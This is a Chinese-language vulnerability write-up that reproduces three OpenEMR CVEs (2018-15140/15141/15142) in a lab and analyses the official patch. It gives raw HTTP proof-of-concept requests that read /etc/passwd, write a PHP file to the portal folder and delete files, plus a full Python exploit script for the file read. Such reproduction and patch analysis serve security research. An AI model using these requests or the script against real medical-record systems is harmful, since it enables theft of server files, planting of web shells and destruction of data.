漏洞概况
在OpenEMR的5.0.1.4版本之前,portal/import_template.php
文件中存在漏洞,使用户可以任意读取文件、写入文件以及删除文件。
环境搭建
- OpenEMR 5.0.1.6.zip
- php7.2.25
- Ubuntu 18.04 + mysql 5.7 + apache2
先安装OpenEMR,安装完成后登陆后台http://192.168.247.130/openemr/interface/login/login.php?site=default。
要复现这几个漏洞的入口在/openemr/portal/import_template.php中,所以要先保证portal功能已经被打开了,打开portal的教程在 https://www.open-emr.org/wiki/index.php/Patient_Portal 可以查看。
下面是在openemr 5.1.0.6 版本中打开这个功能
Administrator
-> Globals
-> Portal
,把下面两个都勾上然后保存
- Enable Version 2 Onsite Patient Portal
- Enable Version 1 Onsite Patient Portal

访问:http://192.168.247.130/openemr6/portal/ ,我们先新建一个patient

填写以下病人的姓名、生日和邮箱。

然后修改填写City
、Street
、Select Primary Physician
以及Gender
,下一步

现在是漏洞复现,没有Insurance Company,直接填写Self
即可,Next

点击Send Request
,会跳出窗口提示Unable to either create credentials or send email.
,这很正常,回到后台管理

选择Patient/Client
-> Patients
,里面已经有注册的Patient了,修改一下他的信息。

Edit Demographics

在这里我们把下面两个选项都选为YES
,保存
- Allow Email
- Allow Patient Portal

然后重置Onsite Portal Credentials

在这里可以更改密码,注意username系统会做一点小变动,防止重名


然后再访问http://your-ip/openemr/portal ,现在可以登陆了,不过要注意这里的Username的后面会有一个数字

登陆后会让你再修改密码

成功登陆,到这里就配置好了。

CVE-2018-15140 Arbitrary File Read
漏洞代码在portal/import_template.php
的第27行至第29行,当post请求中的mode
参数为get
时,就会调用file_get_contents()
函数读取docid
参数指定的文件。
1 2 3 4
| if ($_POST['mode'] == 'get') { echo file_get_contents($_POST['docid']); exit; }
|
我们用HackBar,向http://your-ip/openemr/portal/import_template.php
发送post请求,请求参数有两个,一个是mode
,另一个是docid
,我们令mode=get
,docid=/etc/passwd

PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /openemr/portal/import_template.php HTTP/1.1 Host: 192.168.247.130 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://192.168.247.130 Connection: close Referer: http://192.168.247.130/openemr/portal/import_template.php Cookie: OpenEMR=q4qghctahk59ckgikffv8st2oe; sid=5gficdqudmeg24obi1coii58k5; PHPSESSID=4vj50sts66bu8bu6537tr3pjsc; XDEBUG_SESSION=PHPSTORM Upgrade-Insecure-Requests: 1
mode=get&docid=%2Fetc%2Fpasswd
|

Python 脚本:
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| __author__ = 'Bantian'
print (r''' ___ _____ __ __ ____ / _ \ _ __ ___ _ __ | ____| \/ | _ \ | | | | '_ \ / _ \ '_ \| _| | |\/| | |_) | | |_| | |_) | __/ | | | |___| | | | _ < \___/| .__/ \___|_| |_|_____|_| |_|_| \_\ |_|
By Bantian
CVE-2018-15140 Arbitrary File Read ''')
import requests import sys import argparse
s = requests.session()
ap = argparse.ArgumentParser(description="OpenEMR 5.0.1 SQL Injection") ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr)") ap.add_argument("-u", "--user", help="Admin username") ap.add_argument("-p", "--password", help="Admin password") ap.add_argument("-d", "--docid", help="docid") args = ap.parse_args()
def login(): logindata = { "new_login_session_management" : "1", "authProvider" : "Default", "authUser" : args.user, "clearPass" : args.password, "languageChoice" : "1" }
url = args.host+"/openemr/interface/main/main_screen.php?auth=login&site=default" r = s.post(url=url, data=logindata) if r.status_code != 200: sys.exit(1) print ("Login Successfully.")
def exp(): url = args.host + "/openemr/portal/import_template.php" data = { "mode" : "get", "docid" : args.docid }
r = s.post(url=url, data=data) print(r.text)
if __name__ == "__main__": login() exp()
|

CVE-2018-15141 Arbitrary File Write
相关的漏洞代码在portal/import_template.php
的第30行至第32行,当post请求中的mode参数为save时,直接调用file_put_contents()
向docid
参数指定的文件中写入content
参数指定的内容。
1 2 3 4
| else if ($_POST['mode'] == 'save') { file_put_contents($_POST['docid'], $_POST['content']); exit(true); }
|
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /openemr/portal/import_template.php HTTP/1.1 Host: 192.168.247.130 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 55 Origin: http://192.168.247.130 Connection: close Referer: http://192.168.247.130/openemr/portal/import_template.php Cookie: OpenEMR=ctkf7q7hacd1vje10bc27f0ieu; PHPSESSID=vfd1fnremi3ih39ok3j3c0dcam Upgrade-Insecure-Requests: 1
mode=save&docid=payload.php&content=<?php phpinfo(); ?>
|

上传的文件保存在portal/
文件夹下,访问http://your-ip/openemr/portal/payload.php

CVE-2018-15142 Arbitrary File Delete
漏洞相关代码在portal/import_template.php
的第33行至第35行
1 2 3 4
| else if ($_POST['mode'] == 'delete') { unlink($_POST['docid']); exit(true); }
|
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /openemr/portal/import_template.php HTTP/1.1 Host: 192.168.247.130 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://192.168.247.130 Connection: close Referer: http://192.168.247.130/openemr/portal/import_template.php Cookie: OpenEMR=ctkf7q7hacd1vje10bc27f0ieu; PHPSESSID=vfd1fnremi3ih39ok3j3c0dcam Upgrade-Insecure-Requests: 1
mode=delete&docid=payload.php
|

删完后访问http://your-ip/openemr/portal/payload.php ,无法访问

官方补丁

validateFile()
函数:

分析一下上面的补丁validateFile()
函数,首先可以知道变量$knowpath
是保存template的路径


接着调用str_replace()
函数把filename中的\\
全部替换为/
,我们传入/etc/passwd
,得到的结果就是/etc/passwd
,存入$unknown
。
接着调用pathinfo() 函数,path info()函数以数组的形式返回文件路径的信息。

将/etc/passwd
的路径信息存入$parts
变量

1 2
| $unkParts = explode('/', $parts['dirname']); $ptpid = $unkParts[count($unkParts) - 1];
|
$ptpid
中保存的则是路径的dirname

接着会用$knownPath
、$ptpid
、$parts['filename']
、tpl
拼凑成新的路径$rebuildPath
。

然后检查该文件是否存在以及文件后缀名是否是合法的tpl
。

OpenRASP插件
这个补丁中用了file_exists()
函数来判断文件是否存在,但是这在javascript中是无法做到的,javascript是前端文件,它没有读取后端文件的能力,如果js能够做到,那我们的服务器将会变得很脆弱。所以对于这个case来说,很难转化为OpenRASP插件来防御。
参考
- https://www.exploit-db.com/exploits/45202
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15140
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15141
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15142
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好